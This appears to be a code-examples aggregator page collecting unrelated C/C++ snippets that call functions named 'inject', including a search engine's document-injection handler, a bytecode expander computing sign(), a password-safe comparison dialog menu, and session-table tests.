	long spiderLinks  = r->getLong("spiderlinks",0);
	long  forcedIp  = 0;
	
	if ( ips ) forcedIp = atoip ( ips , gbstrlen(ips) );

	char *content        = r->getString ( "content" , &contentLen , NULL );
	// mark doesn't like to url-encode his content
	if ( ! content ) { 
		content    = r->getUnencodedContent    ();
		contentLen = r->getUnencodedContentLen ();
		//contentIsEncoded = false;
	}


	// we do not want the parser every holding up a query really
	long niceness = 1;

	// tell xmldoc to download the doc
	if ( contentLen == 0 ) content = NULL;

	// the http request gets freed if this blocks, so we have to
	// copy the content!!!
	if ( content ) {
		m_contentAllocSize = contentLen + 1;
		m_content = mdup ( content , contentLen + 1 , "injcont" );
	}
	else {
		m_content = NULL;
		m_contentAllocSize = 0;
	}

	return inject ( url,
			forcedIp,
			m_content,
			contentLen,
			recycleContent,
			CT_HTML, // contentType,
			coll,
			quickReply ,
			NULL,//username ,
			NULL,//pwd,
			niceness,
			state,
			callback,
			firstIndexed,
			lastSpidered,
			hopCount,
			newOnly,
			charset,
			spiderLinks,
			deleteIt,
			hasMime,
			doConsistencyTesting);
}
Exemplo n.º 25
0
int Expander::expand_sign(bh_ir& bhir, int pc)
{
    int start_pc = pc;
    bh_instruction& composite = bhir.instr_list[pc];
    composite.opcode = BH_NONE; // Lazy choice... no re-use just NOP it.

    bh_view output  = composite.operand[0];         // Grab operands
    bh_view input   = composite.operand[1];

    bh_type input_type = input.base->type;          // Grab the input-type

    bh_view meta = composite.operand[0];            // Inherit ndim and shape
    meta.start = 0;
    bh_intp nelements = 1;                          // Count number of elements
    for(bh_intp dim=meta.ndim-1; dim >= 0; --dim) { // Contiguous stride
        meta.stride[dim] = nelements;
        nelements *= meta.shape[dim];
    }
    if (!((input_type == BH_COMPLEX64) || \
          (input_type == BH_COMPLEX128))) { // For non-complex: sign(x) = (x>0)-(x<0)
                                                            
        bh_view lss     = make_temp(meta, input_type, nelements);// Temps
        bh_view gtr     = make_temp(meta, input_type, nelements);
        bh_view t_bool  = make_temp(meta, BH_BOOL, nelements);  

        inject(bhir, ++pc, BH_GREATER, t_bool, input, 0.0);    // Sequence
        inject(bhir, ++pc, BH_IDENTITY, lss, t_bool);
        inject(bhir, ++pc, BH_FREE, t_bool);
        inject(bhir, ++pc, BH_DISCARD, t_bool);
        
        inject(bhir, ++pc, BH_LESS, t_bool, input, 0.0);       
        inject(bhir, ++pc, BH_IDENTITY, gtr, t_bool);
        inject(bhir, ++pc, BH_FREE, t_bool);
        inject(bhir, ++pc, BH_DISCARD, t_bool);

        inject(bhir, ++pc, BH_SUBTRACT, output, lss, gtr);
        inject(bhir, ++pc, BH_FREE, lss);
        inject(bhir, ++pc, BH_DISCARD, lss);
        inject(bhir, ++pc, BH_FREE, gtr);
        inject(bhir, ++pc, BH_DISCARD, gtr);
    } else {                                // For complex: sign(0) = 0, sign(z) = z/|z|

        bh_type float_type = (input_type == BH_COMPLEX64) ? BH_FLOAT32 : BH_FLOAT64;
                                            // General form: sign(z) = z/(|z|+(z==0))
        bh_view f_abs = make_temp(meta, float_type, nelements); // Temps
        bh_view b_zero = make_temp(meta, BH_BOOL, nelements);
        bh_view f_zero = make_temp(meta, float_type, nelements);

        inject(bhir, ++pc, BH_ABSOLUTE, f_abs, input);          // Sequence
        inject(bhir, ++pc, BH_EQUAL, b_zero, f_abs, 0.0, float_type);
        inject(bhir, ++pc, BH_IDENTITY, f_zero, b_zero);
        inject(bhir, ++pc, BH_FREE, b_zero);
        inject(bhir, ++pc, BH_DISCARD, b_zero);
        inject(bhir, ++pc, BH_ADD, f_abs, f_abs, f_zero);
        inject(bhir, ++pc, BH_FREE, f_zero);
        inject(bhir, ++pc, BH_DISCARD, f_zero);
        inject(bhir, ++pc, BH_IDENTITY, output, f_abs);
        inject(bhir, ++pc, BH_FREE, f_abs);
        inject(bhir, ++pc, BH_DISCARD, f_abs);
        inject(bhir, ++pc, BH_DIVIDE, output, input, output);
    }

    return pc-start_pc;
}
Exemplo n.º 26
0
void NabaztagInjector::inject(int data)
{
  inject((uint8_t)data);
}
Exemplo n.º 27
0
void CompareDlg::OnGridCellRightClick(wxGridEvent& evt)
{
  wxGrid* grid = wxDynamicCast(evt.GetEventObject(), wxGrid);
  if (!grid) {
    evt.Skip();
    return;
  }
  ComparisonData* cd = reinterpret_cast<ComparisonData*>(grid->GetClientData());
  wxCHECK_RET(cd, wxT("ClientData object not found in grid"));

  ContextMenuData menuContext;
  menuContext.cdata = cd;

  if (!menuContext.cdata->grid->IsInSelection(evt.GetRow(), evt.GetCol())) {
    menuContext.cdata->grid->SelectRow(evt.GetRow(), false);
  }

  if (menuContext.cdata == m_conflicts) {
    menuContext.cdata->grid->SelectRow(evt.GetRow()%2 == 0? evt.GetRow()+1: evt.GetRow()-1, true);
  }

  menuContext.cdata->grid->SetGridCursor(evt.GetRow(), evt.GetCol());

  menuContext.selectedRows = menuContext.cdata->grid->GetSelectedRows();
  menuContext.selectedItems = menuContext.selectedRows;
  size_t selectionCount = menuContext.selectedRows.GetCount();
  if (menuContext.cdata == m_conflicts) {
    selectionCount /= 2;
    wxCHECK_RET(menuContext.selectedItems.GetCount()%2 ==0, wxT("Conflicts grid should always select an even numer of items"));
    //Our alogo requires the indexes to be in order, and sometimes these are actually unsorted
    menuContext.selectedItems.Sort(pless);
    for( size_t idx = 1; idx <= selectionCount; ++idx) {
      wxCHECK_RET(menuContext.selectedItems[idx]%2 != 0, wxT("Selection indexes not in expected order"));
      wxLogDebug( wxString() << wxT("Removing index ") << menuContext.selectedItems.Item(idx) << wxT(" from selection at index ") << idx << wxT('\n'));
      menuContext.selectedItems.RemoveAt(idx, 1);
    }
    for( size_t idx = 0; idx < selectionCount; ++idx) {
      wxLogDebug(wxString() << wxT("Found index ") << menuContext.selectedItems.Item(idx) << wxT(" from selection at ") << idx << wxT('\n'));
      wxCHECK_RET(menuContext.selectedItems[idx]%2 == 0, wxT("Conflicts grid selection should only have even indexes after normalization"));
      menuContext.selectedItems[idx] /= 2;
    }
  }

  stringT itemStr;
  LoadAString(itemStr, selectionCount > 1? IDSC_ENTRIES: IDSC_ENTRY);

  wxString selCountStr(wxT(" "));
  if (selectionCount > 1)
    selCountStr << selectionCount << wxT(" ");

  wxMenu itemEditMenu;

  wxString strSyncSelectedItemsMenu;
  if (selectionCount == 1)
    strSyncSelectedItemsMenu << _("Synchronize this item...");
  else
    strSyncSelectedItemsMenu << _("Synchronize") << selCountStr << _("selected ") << towxstring(itemStr) << _("...");
  itemEditMenu.Append(ID_SYNC_SELECTED_ITEMS_WITH_CURRENT_DB, strSyncSelectedItemsMenu);

  itemEditMenu.Append(ID_SYNC_ALL_ITEMS_WITH_CURRENT_DB, _("Synchronize all items..."));

  wxString strCopyItemsMenu;
  strCopyItemsMenu << _("Copy") << selCountStr << _("selected ") << towxstring(itemStr) << _(" to current db");
  itemEditMenu.Append(ID_COPY_ITEMS_TO_CURRENT_DB, strCopyItemsMenu);

  wxString strDeleteItemsMenu;
  strDeleteItemsMenu << _("Delete") << selCountStr << _("selected ") << towxstring(itemStr) << _(" from current db");
  itemEditMenu.Append(ID_DELETE_ITEMS_FROM_CURRENT_DB, strDeleteItemsMenu);

  if (selectionCount == 1) {
    itemEditMenu.AppendSeparator();

    itemEditMenu.Append(ID_EDIT_IN_CURRENT_DB,   _("&Edit entry in current db"));
    itemEditMenu.Append(ID_VIEW_IN_COMPARISON_DB,   _("&View entry in comparison db"));
  }

  if (menuContext.cdata == m_conflicts) {
    wxString strCopyFieldMenu;
    ComparisonGridTable* table = wxDynamicCast(menuContext.cdata->grid->GetTable(), ComparisonGridTable);
    menuContext.field = table->ColumnToField(evt.GetCol());
    if (selectionCount > 1)
      strCopyFieldMenu << _("&Copy ") << selectionCount << _(" selected ") <<
        towxstring(CItemData::FieldName(menuContext.field))
                       << _(" fields to current db");
    else
      strCopyFieldMenu << _("&Copy this ") << towxstring(CItemData::FieldName(menuContext.field)) << _(" to current db");

    itemEditMenu.Insert(0, ID_COPY_FIELD_TO_CURRENT_DB, strCopyFieldMenu);

    itemEditMenu.InsertSeparator(1);
    itemEditMenu.Delete(ID_COPY_ITEMS_TO_CURRENT_DB);
  }
  else if (menuContext.cdata == m_current) {
    itemEditMenu.Delete(ID_SYNC_SELECTED_ITEMS_WITH_CURRENT_DB);
    itemEditMenu.Delete(ID_SYNC_ALL_ITEMS_WITH_CURRENT_DB);
    itemEditMenu.Delete(ID_COPY_ITEMS_TO_CURRENT_DB);
    if (selectionCount == 1)
      itemEditMenu.Delete(ID_VIEW_IN_COMPARISON_DB);
  }
  else if (menuContext.cdata == m_comparison) {
    itemEditMenu.Delete(ID_SYNC_SELECTED_ITEMS_WITH_CURRENT_DB);
    itemEditMenu.Delete(ID_SYNC_ALL_ITEMS_WITH_CURRENT_DB);
    itemEditMenu.Delete(ID_DELETE_ITEMS_FROM_CURRENT_DB);
    if (selectionCount == 1)
      itemEditMenu.Delete(ID_EDIT_IN_CURRENT_DB);
  }
  else if (menuContext.cdata == m_identical) {
    itemEditMenu.Delete(ID_SYNC_SELECTED_ITEMS_WITH_CURRENT_DB);
    itemEditMenu.Delete(ID_SYNC_ALL_ITEMS_WITH_CURRENT_DB);
    itemEditMenu.Delete(ID_COPY_ITEMS_TO_CURRENT_DB);
  }

  // Make the menuContext object available to the handlers
  EventDataInjector<wxCommandEvent> inject(&itemEditMenu, &menuContext, wxEVT_COMMAND_MENU_SELECTED);

  menuContext.cdata->grid->PopupMenu(&itemEditMenu);
}
Exemplo n.º 28
0
DomLoader::DomLoader(QWebFrame & frame) :
    frame(frame)
{
    connect(&frame, SIGNAL(javaScriptWindowObjectCleared()), this, SLOT(inject()));
}
Exemplo n.º 29
0
Arquivo: tests.c Projeto: Ri0n/libotr
static void op_inject(void *opdata, const char *accountname,
	const char *protocol, const char *recipient, const char *message)
{
    inject(accountname, recipient, message);
}
Exemplo n.º 30
0
static bool insert_test_sessions(void)
{
	bool success = true;

	memset(session_instances, 0, sizeof(session_instances));
	memset(sessions, 0, sizeof(sessions));

	success &= inject(0, 1, 2, 2, 2);
	success &= inject(1, 1, 1, 2, 1);
	success &= inject(2, 2, 1, 2, 1);
	success &= inject(3, 2, 2, 2, 2);
	success &= inject(4, 1, 1, 2, 2);
	success &= inject(5, 2, 2, 1, 1);
	success &= inject(6, 2, 1, 1, 1);
	success &= inject(7, 1, 1, 1, 1);
	success &= inject(8, 2, 2, 1, 2);
	success &= inject(9, 1, 2, 1, 1);
	success &= inject(10, 2, 1, 1, 2);
	success &= inject(11, 1, 2, 1, 2);
	success &= inject(12, 2, 1, 2, 2);
	success &= inject(13, 1, 1, 1, 2);
	success &= inject(14, 1, 2, 2, 1);
	success &= inject(15, 2, 2, 2, 1);

	return success ? test_db() : false;
}